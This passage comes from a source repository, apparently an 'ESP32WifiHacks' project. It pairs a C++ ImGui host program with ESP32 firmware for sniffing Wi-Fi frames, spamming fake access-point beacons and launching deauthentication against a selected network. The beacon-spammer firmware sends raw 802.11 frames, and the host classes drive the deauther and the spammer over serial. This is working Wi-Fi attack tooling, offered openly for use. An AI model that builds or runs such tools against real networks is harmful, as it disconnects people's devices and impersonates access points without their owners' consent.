ImGui::TextWrapped("Selected network: %s", selectedNet.c_str()); 88 | ImGui::End(); 89 | } 90 | 91 | void startDeauther(){ 92 | if(!this->espMutex->try_lock()){ 93 | return; 94 | } 95 | this->target = this->networks->getSelectedAccessPoint(); 96 | this->Serial.openPort(this->port); 97 | this->Serial.begin(this->baudrate); 98 | this->deautherRunning = true; 99 | this->deautherThread = std::thread(&deauther::deauth, this); 100 | } 101 | 102 | void stopDeauther(){ 103 | this->deautherRunning = false; 104 | this->deautherThread.join(); 105 | this->espMutex->unlock(); 106 | } 107 | 108 | }; -------------------------------------------------------------------------------- /HostCode/main.cpp: -------------------------------------------------------------------------------- 1 | #define GLFW_INCLUDE_NONE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "interface.h" 13 | 14 | void message_callback(GLenum source, GLenum type, GLuint id, GLenum severity, 15 | GLsizei length, GLchar const *message, 16 | void const *user_param){ 17 | if (severity == GL_DEBUG_SEVERITY_NOTIFICATION){ 18 | return; 19 | } 20 | 21 | auto const src_str = [source](){ 22 | switch(source){ 23 | case GL_DEBUG_SOURCE_API: 24 | return "API"; 25 | case GL_DEBUG_SOURCE_WINDOW_SYSTEM: 26 | return "WINDOW SYSTEM"; 27 | case GL_DEBUG_SOURCE_SHADER_COMPILER: 28 | return "SHADER COMPILER"; 29 | case GL_DEBUG_SOURCE_THIRD_PARTY: 30 | return "THIRD PARTY"; 31 | case GL_DEBUG_SOURCE_APPLICATION: 32 | return "APPLICATION"; 33 | case GL_DEBUG_SOURCE_OTHER: 34 | return "OTHER"; 35 | default: 36 | return "UNKNOWN SOURCE"; 37 | } 38 | }(); 39 | 40 | auto const type_str = [type](){ 41 | switch(type){ 42 | case GL_DEBUG_TYPE_ERROR: 43 | return "ERROR"; 44 | case GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR: 45 | return "DEPRECATED_BEHAVIOR"; 46 | case GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR: 47 | return "UNDEFINED_BEHAVIOR"; 48 | case GL_DEBUG_TYPE_PORTABILITY: 49 | return "PORTABILITY"; 50 | case GL_DEBUG_TYPE_PERFORMANCE: 51 | return "PERFORMANCE"; 52 | case GL_DEBUG_TYPE_MARKER: 53 | return "MARKER"; 54 | case GL_DEBUG_TYPE_OTHER: 55 | return "OTHER"; 56 | default: 57 | return "UNKNOWN TYPE"; 58 | } 59 | }(); 60 | 61 | auto const severity_str = [severity](){ 62 | switch(severity){ 63 | case GL_DEBUG_SEVERITY_NOTIFICATION: 64 | return "NOTIFICATION"; 65 | case GL_DEBUG_SEVERITY_LOW: 66 | return "LOW"; 67 | case GL_DEBUG_SEVERITY_MEDIUM: 68 | return "MEDIUM"; 69 | case GL_DEBUG_SEVERITY_HIGH: 70 | return "HIGH"; 71 | default: 72 | return "UNKNOWN SEVERITY"; 73 | } 74 | }(); 75 | std::cout << src_str << ", " << type_str << ", " << severity_str << ", " << id << ": " << message << '\n'; 76 | } 77 | 78 | int main(int argc, char *argv[]){ 79 | if(argc < 2){ 80 | std::cout << "Usage: " << argv[0] << " " << std::endl; 81 | return 1; 82 | } 83 | 84 | ESP32Interface app(argv[1]); 85 | 86 | glfwInit(); 87 | glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 4); 88 | glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 5); 89 | glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); 90 | 91 | auto window = glfwCreateWindow(900, 900, "ESP32WifiHacks", nullptr, nullptr); 92 | if(!window){ 93 | throw std::runtime_error("Error creating glfw window"); 94 | } 95 | glfwMakeContextCurrent(window); 96 | glfwSwapInterval(1); 97 | 98 | if(!gladLoaderLoadGL()){ 99 | throw std::runtime_error("Error initializing glad"); 100 | } 101 | 102 | glDebugMessageCallback(message_callback, nullptr); 103 | 104 | IMGUI_CHECKVERSION(); 105 | ImGui::CreateContext(); 106 | ImGui_ImplGlfw_InitForOpenGL(window, true); 107 | ImGui_ImplOpenGL3_Init("#version 450 core"); 108 | ImGui::StyleColorsClassic(); 109 | 110 | glClearColor(0.1f, 0.1f, 0.1f, 1.0f); 111 | 112 | while(!glfwWindowShouldClose(window)){ 113 | glfwPollEvents(); 114 | 115 | if(glfwGetKey(window, GLFW_KEY_ESCAPE) == GLFW_PRESS){ 116 | glfwSetWindowShouldClose(window, true); 117 | } 118 | 119 | ImGui_ImplOpenGL3_NewFrame(); 120 | ImGui_ImplGlfw_NewFrame(); 121 | ImGui::NewFrame(); 122 | 123 | app.update(); // Does basically everything, all the other lines in this file are just opengl boilerplate crap 124 | 125 | ImGui::Render(); 126 | ImGui_ImplOpenGL3_RenderDrawData(ImGui::GetDrawData()); 127 | glfwSwapBuffers(window); 128 | glClear(GL_COLOR_BUFFER_BIT); 129 | std::this_thread::sleep_for(std::chrono::milliseconds(1)); // Not sure why this is here but someone clearly added it for a reason so ill keep it lol 130 | } 131 | 132 | ImGui_ImplOpenGL3_Shutdown(); 133 | ImGui_ImplGlfw_Shutdown(); 134 | ImGui::DestroyContext(); 135 | 136 | glfwDestroyWindow(window); 137 | glfwTerminate(); 138 | return 0; 139 | } 140 | -------------------------------------------------------------------------------- /ESPCode/main/beaconSpammer.h: -------------------------------------------------------------------------------- 1 | #include "wifiInit.h" 2 | #include "frameContents.h" 3 | #include "esp_log.h" 4 | 5 | struct apInfo{ 6 | char* ssid; 7 | int ssidLen; 8 | uint8_t channel; 9 | uint8_t bssid[6]; 10 | }; 11 | 12 | #define BEACON_SEND_N 4 // Experimental, send 4 frames in a row for each "AP", seems to cause the AP to get picked up better 13 | 14 | /* 15 | This declaration gives access to the esp_wifi_80211_tx function, 16 | which gives the ability to send raw arbitrary 802.11 frames. 17 | */ 18 | esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq); 19 | 20 | // These variables are global so they can be freed from wherever 21 | struct apInfo* APs; 22 | char** ssids; 23 | 24 | void beaconSpammer(){ 25 | // Read the full command from the host 26 | // This will give a list of SSIDs to spam 27 | int cmdLen = 256; 28 | char* cmd = (char*)malloc(cmdLen * sizeof(char)); 29 | int pos = 0; 30 | int c = 0; 31 | while(c != '\n'){ 32 | do{ 33 | c = getchar(); 34 | }while(c == -1); 35 | cmd[pos] = c; 36 | pos++; 37 | if(pos >= cmdLen-1){ 38 | cmdLen += 256; 39 | cmd = (char*)realloc(cmd, cmdLen * sizeof(char)); 40 | } 41 | } 42 | cmd[pos-1] = '\0'; // Remove the newline character 43 | ESP_LOGI("beaconSpammer", "Finished reading command"); 44 | 45 | // Parse the command 46 | int ssidCount = 0; 47 | int ssidArrLen = 10; 48 | char delim[] = {0x03, 0x00}; 49 | char* ssid = strtok(cmd, delim); 50 | ssids = (char**)malloc(ssidArrLen * sizeof(char*)); 51 | while(ssid != NULL){ 52 | ssids[ssidCount] = (char*)malloc((strlen(ssid)+1) * sizeof(char)); 53 | strcpy(ssids[ssidCount], ssid); 54 | ssidCount++; 55 | if(ssidCount >= ssidArrLen){ // If the array is full, double its size 56 | ssidArrLen += 10; 57 | ssids = (char**)realloc(ssids, ssidArrLen * sizeof(char*)); 58 | } 59 | ssid = strtok(NULL, delim); 60 | } 61 | free(cmd); 62 | 63 | // Create an array of apInfo structs, one for each SSID 64 | APs = malloc(sizeof(struct apInfo) * ssidCount); 65 | for(int i=0; i 4 | 5 | #include 6 | 7 | #include "ArduinoSerialIO/arduinoSerial.hpp" 8 | #include "uiHelper.h" 9 | 10 | #define sendCmdDelayMS 8 11 | 12 | class beaconSpammer{ 13 | private: 14 | std::string port; 15 | int baudrate; 16 | arduinoSerial Serial; 17 | 18 | bool manualAPs = false; 19 | char SSID[33] = {0}; 20 | char multiSSID[1024] = {0}; 21 | int APCount = 10; 22 | 23 | std::thread spammerThread; 24 | std::mutex* espMutex; 25 | 26 | void spammer(){ 27 | std::vector ssidCmd; 28 | ssidCmd.push_back('b'); 29 | ssidCmd.push_back(0x03); 30 | for(int i=0; iAPCount; i++){ 31 | std::string ssid = std::string(this->SSID) + std::to_string(i); 32 | for(char c : ssid){ 33 | ssidCmd.push_back(c); 34 | } 35 | ssidCmd.push_back(0x03); 36 | } 37 | ssidCmd.back() = '\n'; // Replace last 0x03 with '\n' 38 | 39 | for(auto c : ssidCmd){ 40 | this->Serial.write_s(c); 41 | // Sleep for a little bit to allow the ESP to process the command 42 | std::this_thread::sleep_for(std::chrono::milliseconds(sendCmdDelayMS)); 43 | } 44 | 45 | 46 | // Wait until this->spammerRunning is set to false 47 | while(this->spammerRunning){ 48 | // Print anything the ESP sends (for debugging purposes) 49 | int c = this->Serial.read_s(); 50 | if(c != -1 && (c >= 32 && c <= 126 || c == '\n')){ 51 | std::cout << (char)c; 52 | } 53 | } 54 | // Send 'q' to tell the ESP to stop sending out beacon frames 55 | this->Serial.write_s('q'); 56 | } 57 | 58 | void spammerMulti(std::vector ssids){ 59 | std::vector ssidCmd; 60 | ssidCmd.push_back('b'); 61 | ssidCmd.push_back(0x03); 62 | for(std::string ssid : ssids){ 63 | for(char c : ssid){ 64 | ssidCmd.push_back(c); 65 | } 66 | ssidCmd.push_back(0x03); 67 | } 68 | ssidCmd.back() = '\n'; // Replace last 0x03 with '\n' 69 | 70 | for(auto c : ssidCmd){ 71 | this->Serial.write_s(c); 72 | // Sleep for a little bit to allow the ESP to process the command 73 | std::this_thread::sleep_for(std::chrono::milliseconds(sendCmdDelayMS)); 74 | } 75 | 76 | // Wait until this->spammerRunning is set to false 77 | while(this->spammerRunning){ 78 | // Print anything the ESP sends (for debugging purposes) 79 | int c = this->Serial.read_s(); 80 | if(c != -1 && (c >= 32 && c <= 126 || c == '\n')){ 81 | std::cout << (char)c; 82 | } 83 | } 84 | // Send 'q' to tell the ESP to stop sending out beacon frames 85 | this->Serial.write_s('q'); 86 | } 87 | 88 | public: 89 | bool spammerRunning = false; 90 | 91 | ~beaconSpammer(){ 92 | if(this->spammerRunning){ 93 | this->stopSpammer(); 94 | } 95 | } 96 | 97 | void config(std::string port, int baudrate, std::mutex* m){ 98 | this->port = port; 99 | this->baudrate = baudrate; 100 | this->espMutex = m; 101 | } 102 | 103 | /* 104 | Draws the menu for configuring and starting beacon spam 105 | */ 106 | void draw(float wStartXNorm, 107 | float wStartYNorm, 108 | float wEndXNorm, 109 | float wEndYNorm, 110 | ImGuiCond wCondition=ImGuiCond_Always){ 111 | uiHelper::setNextWindowSizeNormalised(wStartXNorm, 112 | wStartYNorm, 113 | wEndXNorm, 114 | wEndYNorm, 115 | wCondition); 116 | ImGui::Begin("Beacon spammer"); 117 | std::string isRunning = "Spammer is "; 118 | isRunning += this->spammerRunning ? "running" : "not running"; 119 | if(this->spammerRunning){ 120 | ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1, 0, 0, 1)); 121 | } 122 | ImGui::Text(isRunning.c_str()); 123 | if(this->spammerRunning){ 124 | ImGui::PopStyleColor(); 125 | } 126 | ImGui::Dummy(ImVec2(0, 2)); 127 | ImGui::Checkbox("Manually specify all AP names", &this->manualAPs); 128 | 129 | if(!this->manualAPs){ 130 | ImGui::Text("SSID to use for APs"); 131 | ImGui::PushItemWidth(-1); 132 | ImGui::InputText("##SSID", this->SSID, 33); 133 | ImGui::Dummy(ImVec2(0, 1)); 134 | ImGui::Text("Number of APs to create"); 135 | ImGui::InputInt("##APCount", &this->APCount, 0, 0, 0); 136 | }else{ 137 | ImGui::TextWrapped("Enter SSIDs, separated by \";\" (e.g. \"AP1;AP2;AP3\")"); 138 | ImGui::PushItemWidth(-1); 139 | ImGui::InputText("##SSID", this->multiSSID, 1024); 140 | } 141 | ImGui::PopItemWidth(); 142 | ImGui::Dummy(ImVec2(0, 2)); 143 | 144 | if(this->spammerRunning){ 145 | if(ImGui::Button("Stop beacon spam")){ 146 | this->stopSpammer(); 147 | } 148 | }else{ 149 | if(ImGui::Button("Start beacon spam")){ 150 | if(this->manualAPs){ 151 | this->parseMultiSSIDsStartSpammer(); 152 | }else{ 153 | this->startSpammer(); 154 | } 155 | } 156 | } 157 | 158 | 159 | ImGui::End(); 160 | } 161 | 162 | void parseMultiSSIDsStartSpammer(){ 163 | std::vector ssids; 164 | std::stringstream ss(this->multiSSID); 165 | std::string ssid; 166 | while(std::getline(ss, ssid, ';')){ 167 | ssids.push_back(ssid); 168 | } 169 | if(ssids.size() == 0){ 170 | return; 171 | } 172 | 173 | if(!this->espMutex->try_lock()){ 174 | return; 175 | } 176 | this->Serial.openPort(this->port); 177 | this->Serial.begin(this->baudrate); 178 | this->spammerRunning = true; 179 | this->spammerThread = std::thread(&beaconSpammer::spammerMulti, this, ssids); 180 | } 181 | 182 | void startSpammer(){ 183 | if(!this->espMutex->try_lock()){ 184 | return; 185 | } 186 | this->Serial.openPort(this->port); 187 | this->Serial.begin(this->baudrate); 188 | this->spammerRunning = true; 189 | this->spammerThread = std::thread(&beaconSpammer::spammer, this); 190 | } 191 | 192 | void stopSpammer(){ 193 | this->spammerRunning = false; 194 | spammerThread.join(); 195 | this->espMutex->unlock(); 196 | } 197 | 198 | }; -------------------------------------------------------------------------------- /HostCode/beaconSniffer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include 6 | 7 | #include "ArduinoSerialIO/arduinoSerial.hpp" 8 | #include "networksList.h" 9 | 10 | class beaconSniffer{ 11 | private: 12 | std::string port; 13 | int baudrate; 14 | arduinoSerial Serial; 15 | networksList* networks; 16 | std::thread snifferThread; // Runs the function that reads the output of the ESP32, parses it, and adds APs to this->networks 17 | std::mutex* espMutex; 18 | 19 | std::vector readUntilStr(std::string term){ 20 | std::string s; 21 | std::vector bytes; 22 | while(!s.ends_with(term)){ 23 | int byte = this->Serial.read_s(); 24 | if(byte != -1){ // Ignore failed reads 25 | bytes.push_back(byte); 26 | s += (unsigned char)byte; 27 | }else{ 28 | std::this_thread::sleep_for(std::chrono::milliseconds(10)); 29 | } 30 | } 31 | bytes.resize(bytes.size()-term.size()); 32 | return bytes; 33 | } 34 | 35 | void readParseBeacon(){ 36 | // Now read all the bytes until "==END BEACON==" is found 37 | std::vector beaconFrame = this->readUntilStr("==END BEACON=="); 38 | 39 | // Parse BSSID from frame 40 | // BSSID is 6 bytes long and starts at byte 10 41 | unsigned char BSSID[6]; 42 | for(int i=0; i<6; i++){ 43 | BSSID[i] = beaconFrame[10+i]; 44 | } 45 | 46 | // Parse SSID from beacon frame 47 | // Size of SSID is at byte 37, then SSID comes at byte 38 onwards 48 | std::string SSID; 49 | int SSIDsize = beaconFrame[37]; 50 | for(int i=0; inetworks->addAP(SSID, BSSID, channel); 60 | } 61 | 62 | void readParseTrafficInfo(){ 63 | // Read all bytes until "==END TRAFFIC INFO==" is found 64 | std::vector trafficInfo = this->readUntilStr("==END TRAFFIC INFO=="); 65 | 66 | // Format of the traffic info: 67 | // 68 | 69 | unsigned char sourceMAC[6]; 70 | unsigned char destinationMAC[6]; 71 | for(int i=0; i<6; i++){ 72 | sourceMAC[i] = trafficInfo[i]; 73 | destinationMAC[i] = trafficInfo[6+i]; 74 | } 75 | 76 | this->networks->addTraffic(sourceMAC, destinationMAC); 77 | } 78 | 79 | void readParseDeauth(){ 80 | // Read bytes until "==DEAUTH INFO END==" is found 81 | std::vector deauthInfo = this->readUntilStr("==END DEAUTH INFO=="); 82 | 83 | /* 84 | Deauth info format: 85 | 6 BYTES: DESTINATION 86 | 6 BYTES: AP MAC 87 | */ 88 | unsigned char* DST = new unsigned char[6]; 89 | unsigned char* AP = new unsigned char[6]; 90 | for(int i=0; i<6; i++){ 91 | DST[i] = deauthInfo[i]; 92 | AP[i] = deauthInfo[i+6]; 93 | } 94 | 95 | this->networks->addDeauth(DST, AP); 96 | } 97 | 98 | 99 | void sniffer(){ 100 | this->Serial.write_s('s'); // Tell the ESP32 to start sniffing 101 | std::string s; 102 | while(this->snifferRunning){ 103 | int byte = Serial.read_s(); 104 | if(byte > 0){ // Ignore null bytes and failed reads 105 | if(byte >= 32 && byte <= 126 || byte == '\n'){ 106 | std::cout << (char)byte; // Useful for getting debug info 107 | } 108 | s += byte; // Appends byte as a char 109 | if(s.ends_with("==BEGIN BEACON==")){ 110 | this->readParseBeacon(); 111 | s.clear(); 112 | }else if(s.ends_with("==BEGIN TRAFFIC INFO==")){ 113 | this->readParseTrafficInfo(); 114 | s.clear(); 115 | }else if(s.ends_with("==BEGIN DEAUTH INFO==")){ 116 | this->readParseDeauth(); 117 | s.clear(); 118 | } 119 | if(s.size() > 64){ // Dont waste memory holding onto useless data 120 | s = s.substr(32); 121 | } 122 | }else{ 123 | std::this_thread::sleep_for(std::chrono::milliseconds(10)); // Wait before re-trying. Reduces CPU usage 124 | } 125 | } 126 | this->Serial.write_s('q'); // Tells the ESP32 to stop the sniffer function 127 | this->Serial.closePort(); // Close the serial connection so some other function can use it 128 | } 129 | 130 | public: 131 | bool snifferRunning = false; 132 | 133 | ~beaconSniffer(){ 134 | if(this->snifferRunning){ 135 | this->stopSniffer(); 136 | } 137 | } 138 | 139 | void config(networksList* networks, std::string port, int baudrate, std::mutex* m){ 140 | this->networks = networks; 141 | this->port = port; 142 | this->baudrate = baudrate; 143 | this->espMutex = m; 144 | } 145 | 146 | // Draws a menu to turn sniffing on/off 147 | void draw(float wStartXNorm, 148 | float wStartYNorm, 149 | float wEndXNorm, 150 | float wEndYNorm, 151 | ImGuiCond wCondition=ImGuiCond_Always){ 152 | uiHelper::setNextWindowSizeNormalised(wStartXNorm, 153 | wStartYNorm, 154 | wEndXNorm, 155 | wEndYNorm, 156 | wCondition); 157 | ImGui::Begin("Network sniffer"); 158 | std::string isRunning = "Sniffer is "; 159 | isRunning += this->snifferRunning ? "running" : "not running"; 160 | if(this->snifferRunning){ 161 | ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1, 0, 0, 1)); 162 | } 163 | ImGui::Text(isRunning.c_str()); 164 | if(this->snifferRunning){ 165 | ImGui::PopStyleColor(); 166 | } 167 | ImGui::Dummy(ImVec2(0, 2)); 168 | if(this->snifferRunning){ 169 | if(ImGui::Button("Stop sniffer")){ 170 | this->stopSniffer(); 171 | } 172 | }else{ 173 | if(ImGui::Button("Start sniffer")){ 174 | this->startSniffer(); 175 | } 176 | } 177 | ImGui::Dummy(ImVec2(0, 1)); 178 | ImGui::Checkbox("Enable validation", &this->networks->validationEnabled); 179 | ImGui::End(); 180 | } 181 | 182 | void startSniffer(){ 183 | if(!this->espMutex->try_lock()){ 184 | return; 185 | } 186 | this->Serial.openPort(this->port); 187 | this->Serial.begin(this->baudrate); 188 | this->snifferRunning = true; 189 | this->snifferThread = std::thread(&beaconSniffer::sniffer, this); 190 | } 191 | 192 | void stopSniffer(){ 193 | this->snifferRunning = false; 194 | this->snifferThread.join(); 195 | this->Serial.closePort(); 196 | this->espMutex->unlock(); 197 | } 198 | }; -------------------------------------------------------------------------------- /HostCode/networksList.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | #include "uiHelper.h" 11 | 12 | struct accessPoint{ 13 | std::string SSID; 14 | std::string BSSID_hex; 15 | unsigned char BSSID[6]; 16 | int channel; 17 | int beaconsReceived = 1; 18 | std::string infoStr; 19 | }; 20 | 21 | struct trafficInfo{ 22 | std::string SRC_BSSID_hex; 23 | std::string DST_BSSID_hex; 24 | unsigned char SRC_BSSID[6]; 25 | unsigned char DST_BSSID[6]; 26 | int count = 1; 27 | std::string infoStr; 28 | }; 29 | 30 | struct deauthInfo{ 31 | std::string DST_hex; 32 | std::string AP_hex; 33 | unsigned char DST[6]; 34 | unsigned char AP[6]; 35 | int count = 1; 36 | std::string infoStr; 37 | }; 38 | 39 | class networksList{ 40 | private: 41 | std::vector networks; 42 | std::vector traffic; 43 | std::vector deauths; 44 | std::mutex netInfoMutex; // Because another thread is going to be calling addAP() 45 | int selectedNetwork = 0; 46 | int selectedTraffic = 0; 47 | 48 | // Used for creating nice readable MAC addresses in the UI: 49 | template std::string charBufToHexStr(T buf, int n){ 50 | std::string hexStr; 51 | for(int i=0; iselectedNetwork, 79 | [](void* data, int idx, const char** out_text){ 80 | std::vector* networksPointer = (std::vector*)data; // Convert the void* data to its actual type 81 | *out_text = networksPointer->at(idx).infoStr.c_str(); 82 | return true; 83 | }, 84 | (void*)&this->networks, 85 | this->networks.size(), 86 | this->networks.size() 87 | ); 88 | ImGui::Text("Data traffic (0x88 and 0x08 frames)"); 89 | ImGui::ListBox("##Traffic", 90 | &this->selectedTraffic, 91 | [](void* data, int idx, const char** out_text){ 92 | std::vector* trafficPointer = (std::vector*)data; 93 | *out_text = trafficPointer->at(idx).infoStr.c_str(); 94 | return true; 95 | }, 96 | (void*)&this->traffic, 97 | this->traffic.size(), 98 | this->traffic.size() 99 | ); 100 | ImGui::Text("Deauths (0xc0 frames)"); 101 | ImGui::ListBox("##Deauths", 102 | &this->selectedTraffic, 103 | [](void* data, int idx, const char** out_text){ 104 | std::vector* deauthsPointer = (std::vector*)data; // Convert the void* data to its actual type 105 | *out_text = deauthsPointer->at(idx).infoStr.c_str(); 106 | return true; 107 | }, 108 | (void*)&this->deauths, 109 | this->deauths.size(), 110 | this->deauths.size() 111 | ); 112 | ImGui::PopItemWidth(); 113 | ImGui::End(); 114 | } 115 | 116 | void addAP(std::string SSID, 117 | unsigned char* BSSID, 118 | int channel){ 119 | if(this->validationEnabled){ 120 | // Some basic validation: 121 | if(channel < 1 || channel > 14){ // If the channel is invalid, the packet is probably corrupt, so definitely dont add it 122 | return; 123 | } 124 | for(auto c : SSID){ // Dont add any APs with non-printable characters in the SSID 125 | if(c < 32 || c > 126){ 126 | return; 127 | } 128 | } 129 | } 130 | 131 | this->netInfoMutex.lock(); 132 | 133 | // Check if the AP already exists in this->networks, if so, just increment its beacon counter 134 | for(auto& n : this->networks){ 135 | bool BSSIDMatch = true; // Because using pointers, have to go through every element manually to do a comparison 136 | for(int i=0; i<6; i++){ 137 | if(BSSID[i] != n.BSSID[i]){ 138 | BSSIDMatch = false; 139 | break; 140 | } 141 | } 142 | if(n.SSID == SSID && BSSIDMatch && n.channel == channel){ 143 | n.beaconsReceived++; 144 | n.infoStr = n.SSID + " / " + n.BSSID_hex + " on channel " + std::to_string(n.channel) + " (Received " + std::to_string(n.beaconsReceived) + " beacons)"; 145 | this->netInfoMutex.unlock(); 146 | return; 147 | } 148 | } 149 | 150 | // Not found, so add it as a new item in the vector 151 | accessPoint newAP; 152 | newAP.SSID = SSID; 153 | memcpy(newAP.BSSID, BSSID, 6); 154 | newAP.BSSID_hex = charBufToHexStr(newAP.BSSID, 6); 155 | newAP.channel = channel; 156 | newAP.infoStr = newAP.SSID + " / " + newAP.BSSID_hex + " on channel " + std::to_string(newAP.channel) + " (Received 1 beacons)"; 157 | this->networks.push_back(newAP); 158 | 159 | this->netInfoMutex.unlock(); 160 | } 161 | 162 | void addTraffic(unsigned char* SRC_BSSID, 163 | unsigned char* DST_BSSID){ 164 | this->netInfoMutex.lock(); 165 | 166 | // Check if an entry already exists 167 | for(auto& t : this->traffic){ 168 | bool srcMatch = true; 169 | bool dstMatch = true; 170 | for(int i=0; i<6; i++){ 171 | if(t.DST_BSSID[i] != DST_BSSID[i]){ 172 | dstMatch = false; 173 | break; 174 | } 175 | if(t.SRC_BSSID[i] != SRC_BSSID[i]){ 176 | srcMatch = false; 177 | break; 178 | } 179 | } 180 | if(srcMatch && dstMatch){ 181 | t.count++; 182 | t.infoStr = t.SRC_BSSID_hex + " -> " + t.DST_BSSID_hex + " (" + std::to_string(t.count) + " packets detected)"; 183 | this->netInfoMutex.unlock(); 184 | return; 185 | } 186 | } 187 | 188 | // Not found, so create new struct and add to this->networks 189 | trafficInfo newTraffic; 190 | memcpy(newTraffic.SRC_BSSID, SRC_BSSID, 6); 191 | memcpy(newTraffic.DST_BSSID, DST_BSSID, 6); 192 | newTraffic.SRC_BSSID_hex = charBufToHexStr(newTraffic.SRC_BSSID, 6); 193 | newTraffic.DST_BSSID_hex = charBufToHexStr(newTraffic.DST_BSSID, 6); 194 | newTraffic.infoStr = newTraffic.SRC_BSSID_hex + " -> " + newTraffic.DST_BSSID_hex + " (1 packets detected)"; 195 | this->traffic.push_back(newTraffic); 196 | 197 | this->netInfoMutex.unlock(); 198 | } 199 | 200 | void addDeauth(unsigned char* DST, 201 | unsigned char* AP){ 202 | this->netInfoMutex.lock(); 203 | 204 | // Check if an entry already exists 205 | for(auto& d : this->deauths){ 206 | bool dstMatch = true; 207 | bool apMatch = true; 208 | for(int i=0; i<6; i++){ 209 | if(d.DST[i] != DST[i]){ 210 | dstMatch = false; 211 | break; 212 | } 213 | if(d.AP[i] != AP[i]){ 214 | apMatch = false; 215 | break; 216 | } 217 | } 218 | if(dstMatch && apMatch){ 219 | d.count++; 220 | d.infoStr = d.DST_hex + " deauthed by " + d.AP_hex + " (" + std::to_string(d.count) + " deauths detected)"; 221 | this->netInfoMutex.unlock(); 222 | return; 223 | } 224 | } 225 | 226 | // Not found, so add to this->deauths 227 | deauthInfo newDeauth; 228 | memcpy(newDeauth.DST, DST, 6); 229 | memcpy(newDeauth.AP, AP, 6); 230 | newDeauth.DST_hex = charBufToHexStr(newDeauth.DST, 6); 231 | newDeauth.AP_hex = charBufToHexStr(newDeauth.AP, 6); 232 | newDeauth.infoStr = newDeauth.DST_hex + " deauthed by " + newDeauth.AP_hex + " (1 deauths detected)"; 233 | this->deauths.push_back(newDeauth); 234 | 235 | this->netInfoMutex.unlock(); 236 | } 237 | 238 | accessPoint getSelectedAccessPoint(){ 239 | if(this->networks.size() == 0 || this->selectedNetwork >= this->networks.size() || this->selectedNetwork < 0){ 240 | accessPoint emptyAP; 241 | emptyAP.SSID = "NONE"; 242 | return emptyAP; 243 | } 244 | return this->networks[this->selectedNetwork]; 245 | } 246 | }; -------------------------------------------------------------------------------- /ESPCode/.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "Build - Build project", 6 | "type": "shell", 7 | "command": "${config:idf.pythonBinPath} ${config:idf.espIdfPath}/tools/idf.py build", 8 | "windows": { 9 | "command": "${config:idf.pythonBinPathWin} ${config:idf.espIdfPathWin}\\tools\\idf.py build", 10 | "options": { 11 | "env": { 12 | "PATH": "${env:PATH};${config:idf.customExtraPaths}" 13 | } 14 | } 15 | }, 16 | "options": { 17 | "env": { 18 | "PATH": "${env:PATH}:${config:idf.customExtraPaths}" 19 | } 20 | }, 21 | "problemMatcher": [ 22 | { 23 | "owner": "cpp", 24 | "fileLocation": [ 25 | "relative", 26 | "${workspaceFolder}" 27 | ], 28 | "pattern": { 29 | "regexp": "^\\.\\.(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 30 | "file": 1, 31 | "line": 2, 32 | "column": 3, 33 | "severity": 4, 34 | "message": 5 35 | } 36 | }, 37 | { 38 | "owner": "cpp", 39 | "fileLocation": "absolute", 40 | "pattern": { 41 | "regexp": "^[^\\.](.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 42 | "file": 1, 43 | "line": 2, 44 | "column": 3, 45 | "severity": 4, 46 | "message": 5 47 | } 48 | } 49 | ], 50 | "group": { 51 | "kind": "build", 52 | "isDefault": true 53 | } 54 | }, 55 | { 56 | "label": "Set ESP-IDF Target", 57 | "type": "shell", 58 | "command": "${command:espIdf.setTarget}", 59 | "problemMatcher": { 60 | "owner": "cpp", 61 | "fileLocation": "absolute", 62 | "pattern": { 63 | "regexp": "^(.*):(//d+):(//d+)://s+(warning|error)://s+(.*)$", 64 | "file": 1, 65 | "line": 2, 66 | "column": 3, 67 | "severity": 4, 68 | "message": 5 69 | } 70 | } 71 | }, 72 | { 73 | "label": "Clean - Clean the project", 74 | "type": "shell", 75 | "command": "${config:idf.pythonBinPath} ${config:idf.espIdfPath}/tools/idf.py fullclean", 76 | "windows": { 77 | "command": "${config:idf.pythonBinPathWin} ${config:idf.espIdfPathWin}\\tools\\idf.py fullclean", 78 | "options": { 79 | "env": { 80 | "PATH": "${env:PATH};${config:idf.customExtraPaths}" 81 | } 82 | } 83 | }, 84 | "options": { 85 | "env": { 86 | "PATH": "${env:PATH}:${config:idf.customExtraPaths}" 87 | } 88 | }, 89 | "problemMatcher": [ 90 | { 91 | "owner": "cpp", 92 | "fileLocation": [ 93 | "relative", 94 | "${workspaceFolder}" 95 | ], 96 | "pattern": { 97 | "regexp": "^\\.\\.(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 98 | "file": 1, 99 | "line": 2, 100 | "column": 3, 101 | "severity": 4, 102 | "message": 5 103 | } 104 | }, 105 | { 106 | "owner": "cpp", 107 | "fileLocation": "absolute", 108 | "pattern": { 109 | "regexp": "^[^\\.](.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 110 | "file": 1, 111 | "line": 2, 112 | "column": 3, 113 | "severity": 4, 114 | "message": 5 115 | } 116 | } 117 | ] 118 | }, 119 | { 120 | "label": "Flash - Flash the device", 121 | "type": "shell", 122 | "command": "${config:idf.pythonBinPath} ${config:idf.espIdfPath}/tools/idf.py -p ${config:idf.port} -b ${config:idf.flashBaudRate} flash", 123 | "windows": { 124 | "command": "${config:idf.pythonBinPathWin} ${config:idf.espIdfPathWin}\\tools\\idf.py flash -p ${config:idf.portWin} -b ${config:idf.flashBaudRate}", 125 | "options": { 126 | "env": { 127 | "PATH": "${env:PATH};${config:idf.customExtraPaths}" 128 | } 129 | } 130 | }, 131 | "options": { 132 | "env": { 133 | "PATH": 